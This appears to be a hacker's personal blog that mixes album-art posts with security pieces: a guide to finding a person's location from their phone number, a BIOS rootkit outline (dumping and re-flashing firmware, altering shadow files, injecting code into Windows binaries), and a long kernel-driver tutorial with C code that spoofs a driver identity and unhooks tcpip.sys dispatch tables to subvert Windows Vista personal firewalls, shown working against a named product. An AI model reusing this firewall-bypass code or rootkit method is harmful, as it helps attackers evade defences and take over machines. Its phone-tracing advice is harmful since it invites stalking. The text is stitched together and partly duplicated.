ch0pper

just sum more artwork , that i just about finish!

new bit artwork i did for art COMPETITION entry! have to see if i win yet!

find more mixs at myspace darkasylumradio a few my mixes where played by
(Ro& Mark)@Leipzig, WGT thanks guys

front of the ablum




back ablum

interesting specially with all the LBS(Location Based Services) that are going on. LBS are usually based on companies and/or software which has extreme access to information able to pin point the location of a person. These techniques are often used when performing somebody is beeing investigated or when someone makes a distress call to 999(112 in europe). Before you carry on reading I highly apreciate feedback I regret that this post isn’t as detailed as I wanted it to be…but then again I hate keeping information to myself for ages. So here is a first glance at this topic.

The main problem about this topic is explaining it without compromising a real phone number and causing that a real person would be stalked. Example traces will be done on a real phone number but for the sake of simplicity I will use the following number through out the blog posting: 00 31 (0)6 123 123 12

Suppose you receive the above phone number and the question belonging to it would be: where is the person belonging to this number located? Well first of all operator triangulation and trojans are out of the question…since those methods require a lot more effort usually.

The following website is my favorite

www.phone-hunter.com
There are a lot more sites out there that can do what this site can…but I assume everyone knows how to use google, ones they have gotten a few pointers in the right direction. I specially like this site because of the no nonsens approach and the ease of use(yes I’m promoting it, no I do NOT get any financial gain out of it). The output of the website can be any of the following depending on a few technical conditions:

The phone with number +31612312312 is currently located in Netherlands.
Operated by: KPN Telecom in Netherlands)
The phone with number +31612312312 is currently located in Netherlands.
Operated by: Dutchtone in Netherlands)
The phone with number +31612312312 is currently located in Australia or Christmas/Cocos.
Operated by: Vodafone in Australia)
The phone with number +31612312312 is currently located in Spain.
Operated by: Movistar (Telefonica) in Spain)
So how does the website work or better yet what is the technique behind it? As usual wikipedia seems to have a pretty good answer:

http://en.wikipedia.org/wiki/Mobile_phone_tracking
http://en.wikipedia.org/wiki/GSM_localisation

The above articles give a pretty broad explanation so here is the detailed paper which was first presented at the CCC Congres and one more wikipedia link on the protocol used to locate somebody his phone number.

http://events.ccc.de/congress/2008/Fahrplan/attachments/1262_25c3-locating-mobile-phones.pdf
http://en.wikipedia.org/wiki/Signaling_System_7

There are some other methods out there that can be used and can be less or even more accurate then the one described above. These methods however are pretty dependent on the phone you want to trace and if you know the person or not. It also involves some phone tracing(from number to real person) so I’ll leave that for another post. For the moment beeing this is a nice toy even if you just want to trace your favorite popstar(assuming you got his/her phone number).

As we all know the Internet as made it so that we don't always have to wait until the album release date comes to hear.

sad to say! but any way my on order from nostop music!

Researchers have come up with a way to create an even stealthier rootkit that survives reboots and evades antivirus software.

both exploit writers , were able to inject a rootkit into commercial BIOS firmware using their own Python-based tool that installed the rootkit via an update, or flash, process.

This more "persistent" rootkit is more dangerous than a regular rootkit because it could use the BIOS-located network stack to attack other machines, as well as "using normal exploits, without any access to the disk or memory in the operating system," the researchers said.

The concept of BIOS-based rootkits is nothing new in the research community. But Sacco and Ortega took it up a notch with a generic implementation that can work across various operating systems and ultimately give an attacker control of the infected machine. The researchers were able to successfully attack OpenBSD and Windows machines with the code injection attack.

They also say virtual machines are prone to this attack, as well. BIOS is embedded in the main VM process of VMWare, for instance.

Still, the attack is relatively sophisticated, and the attacker must have administrative rights to the targeted machine before he or she can flash the rootkit to the BIOS.

Such a rootkit is difficult to eradicate, too: Even wiping the hard drive and reinstalling the OS won't get rid of the rootkit, the researchers say. That's because the rootkit runs without a hard disk, and because it runs before any other code on a machine, it could let the attacker deactivate AV software as well, Sacco and Ortega say.

What's the best defense against such an attack? The researchers say it's tough to prevent any attack from an advanced rootkit like this. The best options, they say, are to prevent the flashing of the BIOS by enabling "write" protection on the motherboard, or deploying digitally signed BIOSes, for instance.

taken from

http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml;jsessionid=V5KDJYJJNQWZAQSNDLPSKH0CJUNN2JVN?articleID=216401170


here is my Simple way to patch BIOS

BIOS contains several checksums
Any modification leads to an unbootable system.
We used two techniques:

1) Use a BIOS building tool (Pinczakko's method)
2) Patch and compensate the 8-bit checksum
Three easy steps:

1) Dump BIOS using flashrom2) Patch and compensate3) Re-flash
A Simple way to patch BIOS
BIOS contains several checksums
Any modification leads to an unbootable system.
We used two techniques:
1) Use a BIOS building tool (Pinczakko's method)
2) Patch and compensate the 8-bit checksum
Three easy steps:
1) Dump BIOS using flashrom2) Patch and compensate3) Re-flash

Where to patch

Anywhere is valid:

f000:fff0: First instruction executed.
INT 0x19: Exected before bootingInsert a ROM module: Executing during POST
The most practical place: DecompressorIt's uncompressed!
Located easily by pattern matchingAlmost never changeCalled multiple times during boot

Where to patch

Anywhere is valid:
f000:fff0: First instruction executed.
INT 0x19: Exected before bootingInsert a ROM module: Executing during POST
The most practical place: DecompressorIt's uncompressed!
Located easily by pattern matchingAlmost never changeCalled multiple times during boot

What can be done

Depends. What resources are available from BIOS?
Standarized Hard Disk access (Int 13h)

Memory Manager (PMM)

network access (PXE, Julien Vanegue technique)
Modem and other hardware (Needs a driver)

Our choice was to modify hard-disk content:
1) Modify shadow file on unix2) Code injection on windows binaries
What can be done

Depends. What resources are available from BIOS?
Standarized Hard Disk access (Int 13h)
Memory Manager (PMM)
network access (PXE, Julien Vanegue technique)
Modem and other hardware (Needs a driver)
Our choice was to modify hard-disk content:
1) Modify shadow file on unix2) Code injection on windows binaries


Shellcodes

Shellcodes are all in 16 bit
We use BIOS services for everything
Easy to debug: BIOS execution enviroment can be emulated
running the code as a COM file over DOS
Pseudocode:

1) Checks ready-signal2) Checks for services inicialization3) Runs
Shellcodes
Shellcodes are all in 16 bit
We use BIOS services for everything
Easy to debug: BIOS execution enviroment can be emulated
running the code as a COM file over DOS
Pseudocode:

1) Checks ready-signal2) Checks for services inicialization3) Runs

Virtual machine demo

Virtual machines also have a BIOS!
In VMWARE, It's embedded as a section of the main VM process,
shared on all Vms.

Also can be specified on the VMX file for each VM.
Is a phoenix BIOS.

Very easy to develop because of the embedded GDB server.
Using Interrupt Vector Table as ready-signal
Two attacks:

OpenBSD shadow fileWindows code injection
This method will infect multiple virtual machines.
–
Virtual machine demo

Virtual machines also have a BIOS!

In VMWARE, It's embedded as a section of the main VM process,
shared on all Vms.
Also can be specified on the VMX file for each VM.
Is a phoenix BIOS.
Very easy to develop because of the embedded GDB server.
Using Interrupt Vector Table as ready-signal
Two attacks:
OpenBSD shadow fileWindows code injection
This method will infect multiple virtual machines.

will post my pdf file soon with working demo

You might be even more paranoid and also try running an open source BIOS. You feel satisfied and cannot understand all those stupid people running closed source systems like e.g. Windows. Right?

But here's where you are stuck — you still must trust your hardware. Trust that your hardware vendor has not e.g. built in a backdoor into your network card micro-controller…

So, if we buy a laptop from vendor X, that might be based in some not-fully-democratic country, how do we know they didn't put backdoors there? And not only to spy on Americans, also to spy on their own citizens? When was the last time you reverse-engineered all the PCI devices on your motherboard?

Scared? Good! you should be

Interface of Windows Vista/2008: using and hacking internals ROOT
.
The release of Windows Vista has brought a lot of the new features within the network subsystem. Microsoft has limited TDI, making it available for use with legacy drivers only; NDIS has advanced to the very different version 6. Flexible and robust APIs, the interface’s scalability – that’s what Microsoft says in its presentations. But not all of this goes well, the security software vendors prefer to use poorly documented and sometimes unstable ways for the hooks’ installation. In this article I’m going to tell you something about the newest features of Windows Vista – the Network Programming Interface. There are several features of the network subsystem, such as the Winsock Kernel, which will be discussed here. The main thing of the article is to show how the personal firewalls’ vendors build their products under Windows Vista, the features and hacks they use to achieve the robustness of the firewalls and how the firewalls can be bypassed on this level.

Please note that the network subsystems of Windows Vista and Windows 2008 are very similar, so the same principles and techniques can be used in two different operating systems. It doesn’t matter which architecture the target processor’s OS runs on, the x86 and x64 versions of the system will be discussed at the same time. All of the sources can be compiled for x86, as well as for x86-64.

Introduction to NPI

The Network Programming Interface (NPI) is one of the newest features of Windows Vista. The NPI resides in kernel mode and provides the interface between two kinds of network modules: NPI providers and NPI clients. This technology was built as a replacement of TDI – Transport Driver Interface. In the old NT-like systems TDI was a general communication interface between protocol transport drivers and clients. TDI has also been actively used in protection techniques in Windows 2k-2k3, you might already know about attaching to the tcpip.sys’ devices or tcpip.sys’ MajorTable hooking firewall techniques. And some of the protection software used to have TDI hooks only as a general protection. It was hard to code, and it was really old interface which was needed to be replaced by some new, flexible, with reach, clean APIs interface. So, it’s happened and NPI was born. Anyway, Windows Vista left TDI for legacy drivers, so it’s still can be useful. The client registrations receive a set of specific handlers which they can use to establish a connection with some internal modules of the provider. NPI providing by NMR - Network Modules Registrar, which provides the set of NmrXxx() functions which you can use to register your own NPI provider or NPI client. The set of these functions are placed in the netio.sys driver. Let’s take a look on some of them.


Let’s return back to the technique which allows us to be registered as a transport layer client by using the bridge to the NmrRegisterClient() function. That’s not a really good method how to do that, because:
1. We have to patch the system’s driver in memory. The firewall works well until the driver is not changed. In the next OS revision or if it’s changed there is a risk to have a BSoD.
2. We have to build different bridges to the functions for different processors’ architectures.

The whole code of NPI firewalls bypassing is divided on two parts: the first part of the code retrieves the dispatch tables’ pointers and the original (not hooked) tables’ handlers; the second part is simply rewrites the dispatch tables by the genuine ones. Also, by using the first part of the code we have ability to get the XxxTlProviderXxxDispatch tables and make the calls to the tcpip.sys directly.

First of all, we should get the XxxTlProviderDispatch tables’ pointers. We’re not going to build any bridges, but we’re going to exploit some of the features of NmrRegisterClient() or rather NmprVerifyModule() function, which is called from NmrRegisterClient(). First, NmprVerifyModule() finds the structure which describes the client’s module. After that it checks the module’s full path – it should be equal to “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” or “\systemroot\system32\drivers\tcpip.sys”. It’s more logical to reverse the verifying process: “are the client attach/detach routines and the client itself points into the one of the allowed drivers?”. We can use this flaw by replacing the FullDllName field of the LDR_DATA_TABLE_ENTRY structure, which describes our driver, on some legal path. When we did that, we can call NmrRegisterClient() and we will be registered as a transport layer client freely. We have to remember that the clients of tcpip.sys can be tdx.sys or afd.sys only, so we have to choose the appropriate driver’s path when choosing the NPIID. So we have to retrieve the XxxTlProviderXxxDispatch tables and the real handlers of the tcpip.sys driver. The function GetTcpipDispatchTables() does this job:


NTSTATUS
NTAPI
GetTcpipDispatchTables(
__in PLDR_DATA_TABLE_ENTRY DriverEntry,
__out PTL_DISPATCH_TABLES DispatchTables
)


This function is called from the DriverEntry() function of the driver and the DriverEntry parameter points to the LDR_DATA_TABLE_ENTRY structure which describes the our driver’s module. To connect the driver we have to prepare the NPI_CLIENT_CHARACTERISTICS structure first:


NPI_MODULEID FakeModuleId = {
sizeof(NPI_MODULEID),
MIT_GUID,
{0x01020304, 0x0506, 0x0708,
{0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}}
};

NPI_CLIENT_CHARACTERISTICS ClientChars = {
0, sizeof(NPI_CLIENT_CHARACTERISTICS), FakeClientAttachProvider, FakeClientDetachProvider, NULL,
{0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, &FakeModuleId, 0, NULL}
};


The NPI_TRANSPORT_LAYER_ID identifier tells the NMR that we’re going to connect to the transport layer provider. It’s tcpip.sys in our case, of course. Prior to registering we pretend to be afd.sys so the NmprVerifyModule() won’t deny us:


UNICODE_STRING OriginalFullDllName = {0};
...
RtlCopyMemory(&OriginalFullDllName, &DriverEntry->FullDllName, sizeof(UNICODE_STRING));
RtlInitUnicodeString(&DriverEntry->FullDllName, L"\\SystemRoot\\system32\\drivers\\afd.sys");


We can register now:


Status = NmrRegisterClient(&ClientChars, Dispatches, &hClientHandle);
if (NT_SUCCESS(Status)) {
NmrDeregisterClient(hClientHandle);
} else {
DbgPrint("GetTcpipDispatchTables(): NmrRegisterClient() failed with status 0x%08X\n", Status);
}


We should get the FullDllName back after NmrRegisterClient() call:


RtlCopyMemory(&DriverEntry->FullDllName, &OriginalFullDllName, sizeof(UNICODE_STRING));


The code which receives the XxxTlProviderDispatch tables’ pointers locates in function FakeClientAttachProvider, which we specified as a part of the NPI_CLIENT_CHARACTERISTICS structure:


static
NTSTATUS
NTAPI
FakeClientAttachProvider(
__in HANDLE NmrBindingHandle,
__in PTL_DISPATCH_TABLES DispatchTables,
__in PNPI_REGISTRATION_INSTANCE ProviderRegistrationInstance
)


This function will be called by NMR after the NmrRegisterClient() function call for every ModuleId which tcpip.sys registered with this NPIID. As I mentioned before, these structures are: NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. The information about NPIID and ModuleId will be passed in ProviderRegistrationInstance, so we’re going to check it to expect TcpTlProviderDispatch, UdpTlProviderDispatch, RawTlProviderDispatch respectively:


if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_TCP_MODULEID, sizeof(NPI_MODULEID)))
{
ASSERT( !DispatchTables->TcpTlProviderDispatch );

// Get TcpTlProviderDispatch table

Status = NmrClientAttachProvider(
NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->TcpTlProviderDispatch);
if (!NT_SUCCESS(Status)) {
KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(TcpTlProviderDispatch) failed with status 0x%08X\n", Status));
}
}
else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_UDP_MODULEID, sizeof(NPI_MODULEID)))
{
ASSERT( !DispatchTables->UdpTlProviderDispatch );

// Get UdpTlProviderDispatch table

Status = NmrClientAttachProvider(
NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->UdpTlProviderDispatch);
if (!NT_SUCCESS(Status)) {
KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(UdpTlProviderDispatch) failed with status 0x%08X\n", Status));
}
}
else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_RAW_MODULEID, sizeof(NPI_MODULEID)))
{
ASSERT( !DispatchTables->RawTlProviderDispatch );

// Get RawTlProviderDispatch table

Status = NmrClientAttachProvider(
NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->RawTlProviderDispatch);
if (!NT_SUCCESS(Status)) {
KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(RawTlProviderDispatch) failed with status 0x%08X\n", Status));
}
}


To get the XxxTlProviderDispatch table pointer we have to call NmrClientAttachProvider() which finally calls InetTlNotifyAttachClient() of tcpip.sys, and this function returns us the appropriate dispatch table. We have to remember the pointers on these tables to get the rest of the XxxTlProviderXxxDispatch tables and the real handlers.

When we got XxxTlProviderDispatch tables, we’re going to call GetInternalTcpipDispatches() which gets the rest of the XxxTlProviderXxxDispatch tables and the real tables’ handlers. We pronounced that the easiest way how to subvert NPI firewalls is to load the copy of tcpip.sys and to rewrite the .rdata section. But there is a one rule during this kind of code creating: we’re much stealthier when we do not change the system. That’s why we’re going to get the tables and the real handlers step by step. And btw, this practice will help you to understand a bit of undocumented tcpip.sys’ Transport Layer (TL) interface. This information can be used in your own transport layer client also.

To load the copy of tcpip.sys into the memory we have GetTcpip() function which does the following: it gets the original tcpip.sys’ image base and the image size; loads the copy of tcpip.sys from disk; maps it; fixes the relocations:


UNICODE_STRING TcpipDriverName = CONST_UNICODE_STRING(L"\\Driver\\tcpip");
UNICODE_STRING TcpipDriverPath = CONST_UNICODE_STRING(L"\\SystemRoot\\system32\\drivers\\tcpip.sys");
MEMORY_CHUNK FlatFile = {0};
NTSTATUS Status = STATUS_UNSUCCESSFUL;

...

Status = GetDriverModuleInfo(&TcpipDriverName, &OriginalTcpip->Buffer, &OriginalTcpip->Size);
if (!NT_SUCCESS(Status)) {
KdPrint(("GetTcpip(): GetDriverModuleInfo(%wZ) failed with status 0x%08X\n", &TcpipDriverName, Status));
return Status;
}

Status = GetFileData(&TcpipDriverPath, &FlatFile);
if (!NT_SUCCESS(Status)) {
KdPrint(("GetTcpip(): GetFileData(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status));
return Status;
}

Status = MapImage(&FlatFile, LoadedTcpip);
FreeMemoryChunk(&FlatFile);

if (!NT_SUCCESS(Status)) {
KdPrint(("GetTcpip(): MapImage(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status));
}


The MapImage() function does all of this dirty job for us – it verifies that the module is not corrupted, maps the section of the module and fixes the relocations. You have to know that you cannot use this module for code running purposes because the mapped module’s memory allocated from paged pool. To do so, you have to change the type of the memory to non-paged.

After GetInternalTcpipDispatchTables() loads the copy of tcpip.sys into the memory, it takes the 7 steps to retrieve the tables:
1. Get the genuine (not hooked) handlers of TcpTlProviderDispatch/UdpTlProviderDispatch/RawTlProviderDispatch tables
2. Get the TcpTlProviderEndpointDispatch/UdpTlProviderEndpointDispatch/RawTlProviderEndpointDispatch tables which are placed in tcpip.sys
3. Get the genuine (not hooked) handlers of TcpTlProviderEndpointDispatch/UdpTlProviderEndpointDispatch/RawTlProviderEndpointDispatch tables
4. Get the TcpTlProviderListenDispatch/TcpTlProviderConnectDispatch tables which are placed in tcpip.sys
5. Get the genuine (not hooked) handlers of TcpTlProviderListenDispatch/TcpTlProviderConnectDispatch tables
6. Get the UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch tables which are placed in tcpip.sys
7. Get the genuine (not hooked) handlers of UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch tables

Since we got the copy of tcpip.sys loaded, the retrieving the tables’ real handlers is not a big problem. It’s implemented in GetRealTcpipDispatchTable() function:


static
NTSTATUS
GetRealTcpipDispatchTable(
__in PMEMORY_CHUNK OriginalTcpip,
__in PMEMORY_CHUNK LoadedTcpip,
__in PVOID* OriginalDispatchTable,
__out PVOID* RealDispatchTable,
__in ULONG PointersCount
)


This function gets the real handlers’ pointers from the loaded copy of tcpip.sys and corrects them so they will point into the original tcpip.sys module. The GetRealXxxTlProviderDispatch(), GetRealXxxTlProviderEndpointDispatch(), GetRealTcpDispatches(),GetRealMessageDispatches() functions use GetRealTcpipDispatchTable() on the steps №1, №3, №5, № 7, respectively.

It was pretty easy to get the XxxTlProviderDispatch tables’ pointers, but the retrieving the XxxTlProviderEndpointDispatch/ TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch tables is much complicated. You’ll get the pointer on these tables only if you know the internal tcpip.sys’ interface. It seems that here is a big reverse engineering challenge.



The internal tcpip.sys’ interface

Every handler of the tcpip.sys’ dispatch tables has the following prototype:


typedef NTSTATUS (NTAPI* PROVIDER_DISPATCH) (
__in PVOID Endpoint,
__in PTL_ENDPOINT_DATA ProviderData
);


We can describe the TL_ENDPOINT_DATA structure as follows:


typedef struct _TL_ENDPOINT_DATA {
GET_DISPATCH GetDispatch;
PVOID GetDispatchContext;
PVOID Flags;
USHORT Family;
#ifndef _AMD64_
PVOID Unk5;
#endif
PEPROCESS Process;
PETHREAD Thread;
PVOID Object;
PSOCKADDR_IN Addr1;
PVOID Unk10;
PVOID Unk11;
PSOCKADDR_IN Addr2;
PVOID Unk13;
PVOID Unk14;
PVOID Unk15;
PVOID Unk16;
...
} TL_ENDPOINT_DATA, *PTL_ENDPOINT_DATA;


This structure describes the information which should be passed to the handlers to create so called “endpoint” into the particular entity inside the tcpip.sys driver. Calls to this “entities” are similar to the BSD sockets calls, but they have their own set of handlers. So, to use these handlers we have to get a pointer to the dispatch table somehow. The very first member of the TL_ENDPOINT_DATA structure is a pointer to the callback function which will be called by tcpip.sys if a connection with one of the tcpip.sys’ sub-modules had been installed successfully. In this case tcpip.sys allocates a memory for some internal structure, copies some parts of the TL_ENDPOINT_DATA structure into this piece of memory and passes the pointer as a third parameter to the callback function. It seems that the tcpip.sys’ clients don’t have to change this memory and only we can do now is to pass this pointer to the next handlers. It looks like a usual HANDLE for now. Above-mentioned callback function has the following prototype:


typedef NTSTATUS (NTAPI* GET_DISPATCH) (
__in PVOID Context,
__in NTSTATUS Status,
__in PVOID Endpoint,
__in PVOID DispatchTable
);


As a first parameter of the callback, tcpip.sys passes the TL_ENDPOINT_DATA.GetDispatchContext value, so it’s pretty nice to have this functionality to return some data back. The DispatchTable pointer is what we wanted – it’s a pointer to one of the internal dispatch tables. The Endpoint pointer is the above-mentioned structure which is allocated by tcpip.sys and passed to the callback. So after some of the reverse engineering race we got some results:
• The Family field must contain one of the AF_XXX values for the successful calls of TL_PROVIDER_DISPATCH.Endpoint
• The Process field must point onto the EPROCESS structure of the client process
• The Thread field must point onto the ETHREAD structure of the client thread
• The Addr1 field must point onto the correctly filled SOCKADDR_IN structure (sin_family must be filled) in case of TL_PROVIDER_DISPATCH.Listen or TL_PROVIDER_DISPATCH.Connect calls
• The Addr2 field must point onto the correctly filled SOCKADDR_IN structure (sin_family and sin_port must be filled) in case of TL_PROVIDER_DISPATCH.Connect calls

It was discovered that with Family=AF_INET, the Process field pointing on the current process and the Thread field pointing on the current thread everything works fine. The rest of the fields are not used or they don’t affect the calls when they’re zero. Actually, it would be better to reverse back all of that stuff and reveal the whole interface, but not just the pieces of the interface.

As an example, let’s take a look on the GetEndpointDispatches() function which retrieves the XxxTlProviderEndpointDispatch tables:


static
NTSTATUS
GetEndpointDispatches(
__inout PTL_DISPATCH_TABLES Dispatches
)
{
PROVIDER_DISPATCH_UNK1 DispatchUnk1 = {0};
TL_ENDPOINT_DATA EndpointData = {0};
GET_DISPATCH_CONTEXT GetDispatchContext = {0};
NTSTATUS Status = STATUS_UNSUCCESSFUL;
...


Fill the TL_ENDPOINT_DATA structure:


EndpointData.GetDispatch = GetDispatchCallback;
EndpointData.GetDispatchContext = &GetDispatchContext;
EndpointData.Family = AF_INET;
EndpointData.Process = PsGetCurrentProcess();
EndpointData.Thread = PsGetCurrentThread();

GetDispatchContext.DispatchTable = &Dispatches->TcpTlProviderEndpointDispatch;
GetDispatchContext.Endpoint = NULL;
Dispatches->TcpTlProviderEndpointDispatch = NULL;


The callback function is pretty simple:


static
NTSTATUS
NTAPI
GetDispatchCallback(
__in PGET_DISPATCH_CONTEXT Context,
__in NTSTATUS Status,
__in PVOID Endpoint,
__in PVOID DispatchTable
)
{
if (!Context || !Context->DispatchTable)
return STATUS_INVALID_PARAMETER;

Context->Endpoint = Endpoint;
*Context->DispatchTable = DispatchTable;

return STATUS_SUCCESS;
}


Register the endpoint connection:


Status = Dispatches->RealTcpTlProviderDispatch.Endpoint(&DispatchUnk1, &EndpointData);
if (!NT_SUCCESS(Status)) {
KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->Endpoint() failed with status 0x%08X\n", Status));
return Status;
}


As you noticed we use the genuine Endpoint handler to avoid to be caught by some firewall which can return us the fake dispatch table with their own handlers and not the genuine ones. After the endpoint connection had been registered successfully, we have to close it. Disconnect from the endpoint:


if (GetDispatchContext.Endpoint) {
Status = Dispatches->TcpTlProviderEndpointDispatch->CloseEndpoint(GetDispatchContext.Endpoint, NULL);
if (!NT_SUCCESS(Status)) {
KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->CloseEndpoint() failed with status 0x%08X\n", Status));
}
}


The endpoint identifier Endpoint is passed as a first parameter to the CloseEndpoint() handler, that’s how we disconnect from the endpoint correctly. The same we have while retrieving the pointers on UdpTlProviderDispatch and RawTlProviderDispatch tables. In case of TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch tables retrieving, everything goes very similar to the process described above, but we have to care about the Addr1 and Addr2 fields.


NPI unhooking

The code which unhooks the XxxTlProviderXxxDispatch tables located in the UnhookNPI() function. Whole unhooking process divided on 4 steps:
1. Unhooking XxxTlProviderDispatch tables’ handlers
2. Unhooking XxxTlProviderEndpointDispatch tables’ handlers
3. Unhooking TcpTlProviderListenDispatch and TcpTlProviderConnectDispatch tables’ handlers
4. Unhooking UdpTlProviderMessageDispatch and RawTlProviderMessageDispatch tables’ handlers

The main function which restores the dispatch table is RestoreTcpipDispatchTable():


static
NTSTATUS
RestoreTcpipDispatchTable(
__in PMEMORY_CHUNK OriginalTcpip,
__in PVOID* OriginalDispatchTable,
__in PVOID* RealDispatchTable,
__in ULONG DispatchTableSize
)


The caller passes to the function the original tcpip.sys’ image base and the image size, the original dispatch table pointer, the dispatch table pointer with real handlers and the size of the table. First of all, we have to be sure that the original dispatch table placed within the tcpip.sys’ range:


if ((ULONG_PTR)OriginalDispatchTable < (ULONG_PTR)OriginalTcpip->Buffer ||
(ULONG_PTR)OriginalDispatchTable + DispatchTableSize > (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size)
{
KdPrint(("RestoreTcpipDispatchTable(): Dispatch table %p is out of tcpip.sys' range %p..%p\n",
OriginalDispatchTable, OriginalTcpip->Buffer, (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size));
return STATUS_UNSUCCESSFUL;
}


We don’t have to care about anything if the table is not hooked:


if (!memcmp(OriginalDispatchTable, RealDispatchTable, DispatchTableSize))
return STATUS_SUCCESS;


If some of the handlers are hooked, map the table and allow the write access to that memory:


PMDL OriginalDispatchTableMdl = NULL;
PVOID* MappedOriginalDispatchTable = NULL;
...
OriginalDispatchTableMdl = IoAllocateMdl(OriginalDispatchTable, DispatchTableSize, FALSE, FALSE, NULL);
if (!OriginalDispatchTableMdl)
return STATUS_INSUFFICIENT_RESOURCES;

// Going to have write access to the read only memory of tcpip.sys' .rdata section

__try {
MmProbeAndLockPages(OriginalDispatchTableMdl, KernelMode, IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
IoFreeMdl(OriginalDispatchTableMdl);
return STATUS_ACCESS_VIOLATION;
}

MappedOriginalDispatchTable = MmMapLockedPagesSpecifyCache(
OriginalDispatchTableMdl, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority);
if (!MappedOriginalDispatchTable) {
MmUnlockPages(OriginalDispatchTableMdl);
IoFreeMdl(OriginalDispatchTableMdl);
return STATUS_UNSUCCESSFUL;
}


Restore the table:


RtlCopyMemory(MappedOriginalDispatchTable, RealDispatchTable, DispatchTableSize);


Let’s take a look on the function of XxxTlProviderDispatch tables unhooking:


static
NTSTATUS
UnhookXxxTlProviderDispatch(
__in PTL_DISPATCH_TABLES Dispatches,
__in PMEMORY_CHUNK OriginalTcpip
)
{
...

Status = RestoreTcpipDispatchTable(
OriginalTcpip,
(PVOID*)Dispatches->TcpTlProviderDispatch,
(PVOID*)&Dispatches->RealTcpTlProviderDispatch,
sizeof(TL_PROVIDER_DISPATCH));
if (!NT_SUCCESS(Status)) {
KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(TcpTlProviderDispatch) failed with status 0x%08X\n",
Status));
return Status;
}

Status = RestoreTcpipDispatchTable(
OriginalTcpip,
(PVOID*)Dispatches->UdpTlProviderDispatch,
(PVOID*)&Dispatches->RealUdpTlProviderDispatch,
sizeof(TL_PROVIDER_DISPATCH));
if (!NT_SUCCESS(Status)) {
KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(UdpTlProviderDispatch) failed with status 0x%08X\n",
Status));
return Status;
}

...
}


That is all what you need to unhook the tcpip.sys’ dispatch tables, NPI firewall is subverted. Run everything in complex in npisubvert.sys with Outpost firewall Pro 2009 (v6.5, x86):


kd> g
TCPIP.SYS image region: 0x8819F000..0x88270000

TcpTlProviderDispatch: 0x8824A8FC
IoControl: 0x88220C52 (0x88220C52 real)
QueryDispatch: 0x8822A004 (0x8822A004 real)
Endpoint: 0x8BA86AA4 (0x881DB212 real) HOOKED by afwcore.sys
Message: 0x88229FF9 (0x88229FF9 real)
Listen: 0x8BA86D86 (0x881C9E59 real) HOOKED by afwcore.sys
ReleaseIndicationList: 0x8BA83B60 (0x881DFCC4 real) HOOKED by afwcore.sys
Cancel: 0x8BA86208 (0x881C979B real) HOOKED by afwcore.sys

TcpTlProviderEndpointDispatch: 0x8824A91C
CloseEndpoint: 0x8BA85BC4 (0x881DBD38 real) HOOKED by afwcore.sys
IoControlEndpoint: 0x8BA85CA4 (0x881DB5E2 real) HOOKED by afwcore.sys
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)

TcpTlProviderConnectDispatch: 0x8824A938
CloseEndpoint: 0x8BA859E8 (0x881E4543 real) HOOKED by afwcore.sys
IoControlEndpoint: 0x881E01ED (0x881E01ED real)
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
Send: 0x8BA83E5C (0x8820E188 real) HOOKED by afwcore.sys
Receive: 0x8BA84E5A (0x881D2258 real) HOOKED by afwcore.sys
Disconnect: 0x8BA841DA (0x881E4886 real) HOOKED by afwcore.sys

TcpTlProviderListenDispatch: 0x8824A928
CloseEndpoint: 0x8BA86012 (0x881C5C44 real) HOOKED by afwcore.sys
IoControlEndpoint: 0x881B11A6 (0x881B11A6 real)
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
ResumeConnection: 0x88220C42 (0x88220C42 real)

UdpTlProviderDispatch: 0x8824ACE4
IoControl: 0x88228C0B (0x88228C0B real)
QueryDispatch: 0x8822A004 (0x8822A004 real)
Endpoint: 0x8BA87EF2 (0x881D0152 real) HOOKED by afwcore.sys
Message: 0x8BA87CC2 (0x881D06DE real) HOOKED by afwcore.sys
Listen: 0x8822A093 (0x8822A093 real)
ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real)
Cancel: 0x8822A07D (0x8822A07D real)

UdpTlProviderEndpointDispatch: 0x8824AD04
CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)

UdpTlProviderMessageDispatch: 0x8824AD10
CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
SendMessages: 0x8BA87132 (0x881EF50F real) HOOKED by afwcore.sys

RawTlProviderDispatch: 0x8824AE58
IoControl: 0x8822A09E (0x8822A09E real)
